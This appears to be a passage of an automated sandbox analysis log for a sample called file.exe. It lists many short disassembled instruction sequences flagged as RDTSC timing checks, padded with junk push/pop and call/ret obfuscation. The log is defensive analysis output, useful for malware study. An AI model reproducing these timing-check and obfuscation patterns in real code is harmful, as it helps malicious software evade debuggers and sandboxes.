Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6CFF second address: 10E6D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007EFDB8F26A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6EA8 second address: 10E6EEC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFDB8CDCB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007EFDB8CDCB06h 0x00000011 jnl 00007EFDB8CDCB06h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c popad 0x0000001d pushad 0x0000001e pushad 0x0000001f jng 00007EFDB8CDCB06h 0x00000025 push eax 0x00000026 pop eax 0x00000027 jmp 00007EFDB8CDCB19h 0x0000002c popad 0x0000002d push ecx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E705D second address: 10E7067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007EFDB8F26A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E75EE second address: 10E75F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E78A5 second address: 10E78BE instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFDB8F26A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jl 00007EFDB8F26A16h 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E78BE second address: 10E78D6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007EFDB8CDCB12h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E78D6 second address: 10E78DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E78DB second address: 10E78E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ECF39 second address: 10ECF43 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFDB8F26A1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ED57E second address: 10ED584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ED584 second address: 10ED5A0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFDB8F26A18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007EFDB8F26A1Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ED5A0 second address: 10ED5AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007EFDB8CDCB06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ED5AA second address: 10ED5BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ED7D2 second address: 10ED7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnc 00007EFDB8CDCB06h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ED7E4 second address: 10ED7E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE869 second address: 10EE86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE86D second address: 10EE871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE871 second address: 10EE87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE87A second address: 10EE89F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007EFDB8F26A16h 0x0000000a pop edx 0x0000000b jmp 00007EFDB8F26A22h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007EFDB8F26A16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE89F second address: 10EE8C7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFDB8CDCB06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFDB8CDCB15h 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE8C7 second address: 10EE8D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007EFDB8F26A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE8D1 second address: 10EE8D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2FFC second address: 10F3001 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3001 second address: 10F300A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F300A second address: 10F300E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F300E second address: 10F3014 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F271B second address: 10F2725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007EFDB8F26A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2B76 second address: 10F2B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2D34 second address: 10F2D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2D3D second address: 10F2D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007EFDB8CDCB06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2E86 second address: 10F2E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6245 second address: 10F624B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F62CF second address: 10F6340 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007EFDB8F26A28h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007EFDB8F26A27h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 ja 00007EFDB8F26A29h 0x0000001b mov eax, dword ptr [eax] 0x0000001d jne 00007EFDB8F26A1Eh 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 js 00007EFDB8F26A24h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 pop eax 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F64A4 second address: 10F64A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F64A8 second address: 10F64AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6F73 second address: 10F6F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6F77 second address: 10F6F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6F7B second address: 10F6F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6F85 second address: 10F6F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F703A second address: 10F706F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xchg eax, ebx 0x00000007 mov si, EDBFh 0x0000000b movsx edi, di 0x0000000e nop 0x0000000f pushad 0x00000010 jnc 00007EFDB8CDCB18h 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F706F second address: 10F7074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7074 second address: 10F7091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8CDCB19h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F75BA second address: 10F75D5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFDB8F26A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jg 00007EFDB8F26A1Ch 0x00000012 jns 00007EFDB8F26A16h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FAB2F second address: 10FAB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FAB38 second address: 10FAB3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FAB3C second address: 10FAB4E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007EFDB8CDCB08h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FAB4E second address: 10FABBE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007EFDB8F26A1Bh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c sub edi, 6E588800h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007EFDB8F26A18h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 xchg eax, ebx 0x00000031 jmp 00007EFDB8F26A25h 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jl 00007EFDB8F26A28h 0x0000003f jmp 00007EFDB8F26A22h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FB6B3 second address: 10FB6BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC128 second address: 10FC12E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC12E second address: 10FC132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC132 second address: 10FC136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC136 second address: 10FC145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC145 second address: 10FC14B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC14B second address: 10FC151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC151 second address: 10FC155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC155 second address: 10FC1A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov si, F191h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007EFDB8CDCB08h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 or esi, 243ED17Fh 0x0000002f mov edi, 04ED2E00h 0x00000034 push 00000000h 0x00000036 movzx edi, cx 0x00000039 push eax 0x0000003a pushad 0x0000003b jns 00007EFDB8CDCB08h 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDB66 second address: 10FDB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDB6C second address: 10FDB70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDB70 second address: 10FDB74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC962 second address: 10FC966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC966 second address: 10FC973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC973 second address: 10FC979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FE176 second address: 10FE17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC979 second address: 10FC97D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FEC9A second address: 10FECB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b jo 00007EFDB8F26A20h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11026BA second address: 11026BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11026BE second address: 11026D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007EFDB8F26A1Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF5D9 second address: 10FF5E3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFDB8CDCB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFF95 second address: 10FFF99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFF99 second address: 10FFFA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11054BA second address: 11054C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11054C3 second address: 11054CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007EFDB8CDCB06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105A7C second address: 1105A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105A80 second address: 1105A9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007EFDB8CDCB06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105B2B second address: 1105B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007EFDB8F26A16h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1101885 second address: 11018A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11018A5 second address: 11018A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110289A second address: 110289E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110289E second address: 1102945 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov ebx, dword ptr [ebp+122D3A35h] 0x00000011 pushad 0x00000012 movzx edx, cx 0x00000015 mov cx, ax 0x00000018 popad 0x00000019 push dword ptr fs:[00000000h] 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007EFDB8F26A18h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000015h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 adc ebx, 7F31090Ch 0x00000047 mov edi, dword ptr [ebp+122D38A5h] 0x0000004d mov eax, dword ptr [ebp+122D022Dh] 0x00000053 push 00000000h 0x00000055 push eax 0x00000056 call 00007EFDB8F26A18h 0x0000005b pop eax 0x0000005c mov dword ptr [esp+04h], eax 0x00000060 add dword ptr [esp+04h], 0000001Ah 0x00000068 inc eax 0x00000069 push eax 0x0000006a ret 0x0000006b pop eax 0x0000006c ret 0x0000006d stc 0x0000006e movzx edi, cx 0x00000071 push FFFFFFFFh 0x00000073 push esi 0x00000074 stc 0x00000075 pop ebx 0x00000076 sub dword ptr [ebp+122D2B19h], ebx 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f jmp 00007EFDB8F26A28h 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107C2C second address: 1107C5F instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFDB8CDCB0Ch 0x00000008 jp 00007EFDB8CDCB06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 jno 00007EFDB8CDCB0Ch 0x00000017 sub bx, A3EBh 0x0000001c push 00000000h 0x0000001e mov ebx, dword ptr [ebp+122D3A15h] 0x00000024 push 00000000h 0x00000026 xchg eax, esi 0x00000027 pushad 0x00000028 pushad 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1108A5C second address: 1108A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007EFDB8F26A16h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1108A6A second address: 1108AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007EFDB8CDCB08h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 call 00007EFDB8CDCB15h 0x00000026 mov dword ptr [ebp+1245A8C2h], edx 0x0000002c pop ebx 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007EFDB8CDCB08h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 add ebx, dword ptr [ebp+122D3015h] 0x0000004f mov dword ptr [ebp+1247EF63h], esi 0x00000055 push 00000000h 0x00000057 jbe 00007EFDB8CDCB0Ch 0x0000005d mov dword ptr [ebp+122D2F74h], eax 0x00000063 xchg eax, esi 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1108AEB second address: 1108AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11037FE second address: 110380C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8CDCB0Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110380C second address: 1103810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105D17 second address: 1105D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109ADC second address: 1109AE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109CF9 second address: 1109CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110BA36 second address: 110BA3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109CFE second address: 1109D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
